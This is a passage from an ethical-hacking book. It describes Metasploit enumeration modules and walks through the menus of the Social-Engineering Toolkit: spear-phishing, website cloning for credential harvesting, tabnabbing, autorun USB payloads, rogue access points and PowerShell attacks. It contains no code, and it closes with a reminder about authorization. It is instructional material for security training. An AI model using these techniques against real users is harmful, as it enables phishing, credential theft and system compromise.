To get all this information, you can use the

“enum_system”

command, and you can check out the contents of the generated text files. To discover information from the user history, there is a Metasploit module for that as well that stores this information on your local system which is called “enum_users_history”.

Chapter 33 Social-Engineering Toolkit

Social Engineering is an important technique that you should be aware of, and shortly you will understand how hackers use social engineering applications tricking victims into executing the vulnerable trap.

SET or Social-Engineering Toolkit is an open source Python-driven framework that's specifically designed to facilitate social engineering attacks.

A significant advantage of the Social-Engineering Toolkit is its inter-connectivity with the Metasploit framework which provides the payloads needed for exploitation, the encryption to bypass antivirus, and the listener module that connects to the compromised system when it sends a shell back to the attacker.

To start the Social-Engineering Toolkit, type the command

"setoolkit"

and press Enter. You have multiple options to select from when this application loads. The first one is the Social-Engineering Attacks, which offers a mix of Social-Engineering methods.

The second one is the Fast-Track Penetration Testing, which provides rapid access to some specialized tools. You can type number 2 to select this option.

Next, you will be presented further options. The first tool is a password cracking of SQL databases, the second are some customized exploits that are based on Python.

After that, we have the User Enumeration, and finally it contains the PSEXEC Powershell Injection. You can type number 99 to go back to the main menu, but if you select the first choice which contains tools for Social-Engineering Attacks, all you have to do is press number 1 on your keyboard.

Once you have selected this option, once again you will have further options. The first one on the list is the Spear-Phishing Attack Vectors which allows an attacker to create email messages and send them to targeted victims with attached exploits.

Next, we have the website Attack Vectors which utilize multiple web-based attacks. If you select that to see the details, simply press number 2 on your keyboard.

Once you have selected this option, you will be presented with further options once again. The first on the list called Java Applet Attack Method that spoofs a Java certificate and delivers a Metasploit-based payload.

This is known as one of the most successful attacks, and it is effective against all systems such as Windows, Linux or OSX targets. Next on the list is called the Metasploit Browser Exploit Method that delivers a Metasploit payload using an I-frame attack.

Next on the list we have what it's called the Credential Harvester attack method that clones a website and automatically rewrites the post-parameters to allow an attacker to intercept and harvest user credentials.

Next on our list we have what is called the Tabnabbing Attack Method which replaces information on an inactive browser tab with a cloned page that links back to the attacker.

After that we have the Web Jacking Attack Method which utilizes I-frame replacements to make the highlighted URL link appear legitimate. Last on the list we have the Multi-Attack web Method that allows an attacker to select some or several, or all attacks that can be launched at once.

If you go back to the previous screen and check the rest of the attacks listed, the Infectious Media Generator for example creates an auto-run file and Metasploit payload.

Once this copied to a USB device and inserted into target system, it will trigger and auto-run and compromise the system. Next, it will create a Payload and Listener module which is a rapid menu-driven method, creating a Metasploit payload.

After that, we have what is called the Mass Mailer Attack which allows the attacker to send multiple customized emails to a single email address, or a list of multiple addresses.

Next, we have the Arduino-Based Attack Vector which programs Arduino-based devices. Because these devices register as a USB keyboard when connected to a physical Windows system, they can bypass security based on disabling the auto-run or other endpoint security.

The Wireless Access Point Attack Vector for example will create a fake wireless access point and DHCP server on the attacker's system and redirect

all DNS queries to the attacker.

The hacker can then launch various attacks, such as the Java Applet Attack or a Credential Harvester Attack. The QRCode Generator Attack Vector for example creates a QR code with a defined URL associated with an attack.

The Powershell Attack Vectors will allow the attacker to create attacks that rely on Powershell, a command-line shell and scripting language available on all systems such as Windows, Vista, and higher versions.

Lastly, we have Third Party Modules that allow the attacker to use the remote administration tool as part of a Java Applet Attack, or as an isolated payload.

This tool is a text, menu-driven, remote access tool. Covering all these methods would take another book by itself, but as you see SET is very user friendly and pretty much anyone can use it because all you have to do is decide which attack you want to implement, then press their associated number on your keyboard.

Lastly, I will ask you again to make sure that you have written authorization for using SET in a live or production environment. If you are only practicing in your home lab, in a non production environment, that should cause no issue to anyone; still I would suggest you turn off your router and practice with care without any connection to the internet.

Conclusion

I hope this book was able to get you started on your pursuit of becoming a Ethical Hacker or Penetration Tester. If you found some of the techniques and strategies being advanced, no worries, because on-going practice will help you to become a better IT Professional in no time.

Thanks again for purchasing this book.

Lastly, if you enjoyed the content, please take some time to share your thoughts and post a review. It’d be highly appreciated!